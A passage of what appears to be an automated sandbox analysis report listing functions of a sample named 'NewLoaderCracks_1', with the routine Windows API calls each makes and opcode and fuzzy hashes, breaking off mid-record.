Instruction Fuzzy Hash: EC216D71C0424AAACF15DF54C9569EEBBB4BF59304F0005AAE809A3202DB356E4ADF65

Function 005492E6 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 005492EB

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 54f8a7968311b760f2ebf3ffacca85499a95878601a60203ad6a2b3092cafb8d
Instruction ID: 57fac2ab3668e127bbc00959b45b0291b81b2a4ba2b3e5616cc09fd91292aa1e
Opcode Fuzzy Hash: 54f8a7968311b760f2ebf3ffacca85499a95878601a60203ad6a2b3092cafb8d
Instruction Fuzzy Hash: 93118E73E015299BCB26AFA8CC5A9DEBF36BFC9754F004515F808A7251CA348D1086A0

Function 00545BD7 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00545BDC

Part of subcall function 0054B07D: __EH_prolog.LIBCMT ref: 0054B082

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e891106540cb85c358b344edbf2828c95ff424c936f0a4ba70c7a97771401a1f
Instruction ID: acd943ac0000310e6f3238f05a8a607cb009c2bf36310e30e96bcfef0369eaf9
Opcode Fuzzy Hash: e891106540cb85c358b344edbf2828c95ff424c936f0a4ba70c7a97771401a1f
Instruction Fuzzy Hash: E701AD30A04685DAC725F7A8D0193DDFFA8AF59309F40809EA85A13283CBB01B08C762

Function 00568518 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0056C13D,00000000,?,005667E2,?,00000008,?,005689AD,?,?,?), ref: 0056854A

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d1e17ede1c9cbd1d2aadb4af00423740b33e38110bae173dc68361942b1fed49
Instruction ID: f27121120151e03a329995578601c290a42ab0ad174f6d15b1580c944bafe8fc
Opcode Fuzzy Hash: d1e17ede1c9cbd1d2aadb4af00423740b33e38110bae173dc68361942b1fed49
Instruction Fuzzy Hash: 40E0E5316406227BEB312A699C04B7A3F8CBFB13F0F140710AD1AA3191CE20CC0495EA

Function 0054A4C6 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0054A4F5

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 5157d7df5190da4c77372eed0f0d6880c3b9df751e0ab4acaea54ce4e70fc0dd
Instruction ID: e4915ee164954172f6f4408fe3f8a331fe78e691cb12ef353aedf0ba269266ce
Opcode Fuzzy Hash: 5157d7df5190da4c77372eed0f0d6880c3b9df751e0ab4acaea54ce4e70fc0dd
Instruction Fuzzy Hash: 03F0B431048380AACEA25B7848087CB7F917F55335F04CA09F1FD02196C27454859723

Function 0055067C Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 005506B1

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 3baac9bdd70caf73f3ed3d503473e0cdfaac345e91b0bd05c715131acd11f532
Instruction ID: 5a11cd7949e44c661fbb33487809a8750973459015a25e8324989d22b82c4780
Opcode Fuzzy Hash: 3baac9bdd70caf73f3ed3d503473e0cdfaac345e91b0bd05c715131acd11f532
Instruction Fuzzy Hash: A3D02B3020001265CB213325A86E7FF2E4A2FC3722F0A1063BD0D275C38B46088E63E3

Function 00559D7B Relevance: 1.5, APIs: 1, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 00559D81

Part of subcall function 00559B0F: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00559B30

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 4cf3c4e169e0f80c123d24ade4c43f63bdfd109b4bf71df52acedaf40aa9962d
Instruction ID: f5c37747748812bd66d903731468961c69ddd3028c65e2f6b1a4fb80f8cfa836
Opcode Fuzzy Hash: 4cf3c4e169e0f80c123d24ade4c43f63bdfd109b4bf71df52acedaf40aa9962d
Instruction Fuzzy Hash: FBD0A73021820EFADF44BA708C2397E7FB8FB40311F004027BC0986141ED71DF14A261

Function 00549989 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,00549887), ref: 00549995

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 5e27933e5d5c1c1471a23f648a41e0c02bbba93ac054c2d73e94738f40c4a002
Instruction ID: 6288fe08817826e9c1e17b184c6e8dd6a3188ac2417b963870df0f05dafb5aed
Opcode Fuzzy Hash: 5e27933e5d5c1c1471a23f648a41e0c02bbba93ac054c2d73e94738f40c4a002
Instruction Fuzzy Hash: 87D01231011181958F2586345D0B0DB7F51EB8337EB38C6ACD065C40A1D733C843F542

Function 0055D41A Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 0055D43F

Part of subcall function 0055AC74: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0055AC85
Part of subcall function 0055AC74: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0055AC96
Part of subcall function 0055AC74: IsDialogMessageW.USER32(00010408,?), ref: 0055ACAA
Part of subcall function 0055AC74: TranslateMessage.USER32(?), ref: 0055ACB8
Part of subcall function 0055AC74: DispatchMessageW.USER32(?), ref: 0055ACC2

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: 7cc06e05504cef736862512bfe9cb86cdf8857c77214fa3c3ce92c0ca37747bb
Instruction ID: 51f02bbbf1a747dfcc2713ed84f88d72b2909d53b34853acffd35014cc66ff0e
Opcode Fuzzy Hash: 7cc06e05504cef736862512bfe9cb86cdf8857c77214fa3c3ce92c0ca37747bb
Instruction Fuzzy Hash: 78D09E32144301ABDA122B51CE07F1F7EA6BB98B09F404654B744740B186629D24EB16

Function 0055D8DE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c8719990986a218fe2cffa61e6fe7c1e7a475ba27da392a1b9a1e7f334636884
Instruction ID: 3c49bd334c5292085da359d426dbbd8e8a669d2faaf4fd13d5ddfff1932040cf
Opcode Fuzzy Hash: c8719990986a218fe2cffa61e6fe7c1e7a475ba27da392a1b9a1e7f334636884
Instruction Fuzzy Hash: 78B012E326C002AD312862087C6BF3A0E6CF8C2B53330C41BBD0DD00C0D4405C0D5831

Function 0055D8C0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9abe904ef03fddb7faef130cd72282c01e610ec345fe22668aed671f477e65b1
Instruction ID: f8c6fa839900387c33471e20c44ce1bedd2d0e399fd2856474768f6fac3e4e08
Opcode Fuzzy Hash: 9abe904ef03fddb7faef130cd72282c01e610ec345fe22668aed671f477e65b1
Instruction Fuzzy Hash: CCB0129326C102AD316862087C6BF3A0E6CF8C1B53730C51FB80DD01C0D4405C8D5831

Function 0055D8CA Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 064e45e20c4b8754c02afac1671afb3e8dec7c196bc847300506e741d2416184
Instruction ID: 8f8fc1fa9b1246f506a7af76fec461ef0c194388cd489647f52ee31ab0e61083
Opcode Fuzzy Hash: 064e45e20c4b8754c02afac1671afb3e8dec7c196bc847300506e741d2416184
Instruction Fuzzy Hash: 11B092922A8002AD31286208696AA3A0A68E8C1B52320841BB809D0180D440580E5831

Function 0055D8F2 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: eb2640d1cd26092af53178356a58b0342c392a220112a79e9594f6cee014c136
Instruction ID: d9e902f21a33d0971b049520258f5ce257ac4c5fedcc852fff4722bebb895e68
Opcode Fuzzy Hash: eb2640d1cd26092af53178356a58b0342c392a220112a79e9594f6cee014c136
Instruction Fuzzy Hash: A2B012E336C002AD312C62087D6BF3A0E6CF8C1B53330841BBD0ED00C0D4405D0D5831

Function 0055D8FC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9770f2af78ece74d7458117487ea65699f1eb70fed81e95adbd9b719a94777ae
Instruction ID: 86264759244063b70e880d983a8552017db67f5cb1606ae4dbd1bc34675e673a
Opcode Fuzzy Hash: 9770f2af78ece74d7458117487ea65699f1eb70fed81e95adbd9b719a94777ae
Instruction Fuzzy Hash: 12B012E326C002AD312C62097C6BF3A0E6CF8C1B53330841BB90DD00C0D4405C0C5831

Function 0055D8E8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c64a7f4c740e9cb35c96fa972be7ee4099ee3ccc6b41b043c6747507cb075493
Instruction ID: 825f875207ada3f7e4d731022cfba964a20b20c2181a163088ee6c239ebd23fa
Opcode Fuzzy Hash: c64a7f4c740e9cb35c96fa972be7ee4099ee3ccc6b41b043c6747507cb075493
Instruction Fuzzy Hash: FAB012E326C102AD316862087C6BF3A0E6CF8C1B53330851BB90DD00C0D4405C4C5831

Function 0055D891 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: bd3562faaba2e7e7ad0128805e6bd753d796a7ecf2b47687946017a93126a0c0
Instruction ID: bdc40abbb713cc8368282a20e4fa7120cca63bbaf16108043c7d2852caa3fdf7
Opcode Fuzzy Hash: bd3562faaba2e7e7ad0128805e6bd753d796a7ecf2b47687946017a93126a0c0
Instruction Fuzzy Hash: 6BB09296268202AD31282204A8AAA3A0A28E8C1B52320892BB809A008095405C4C9831

Function 0055D8B6 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9099780e1ea88a6ac6786eb5cbde5da0179e9edde5fc1838c49928a73e1c5658
Instruction ID: 9e4fafe0cbe9a12e1c37c58fdbeb882c9b46f2167b7f494d106f4f8b856edce1
Opcode Fuzzy Hash: 9099780e1ea88a6ac6786eb5cbde5da0179e9edde5fc1838c49928a73e1c5658
Instruction Fuzzy Hash: 0CB0129326C002AD312862087C6BF3A0E6CF8C2B53330C41FBC0DD01C0D4405C0E5831

Function 0055D8AC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055D8A3

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
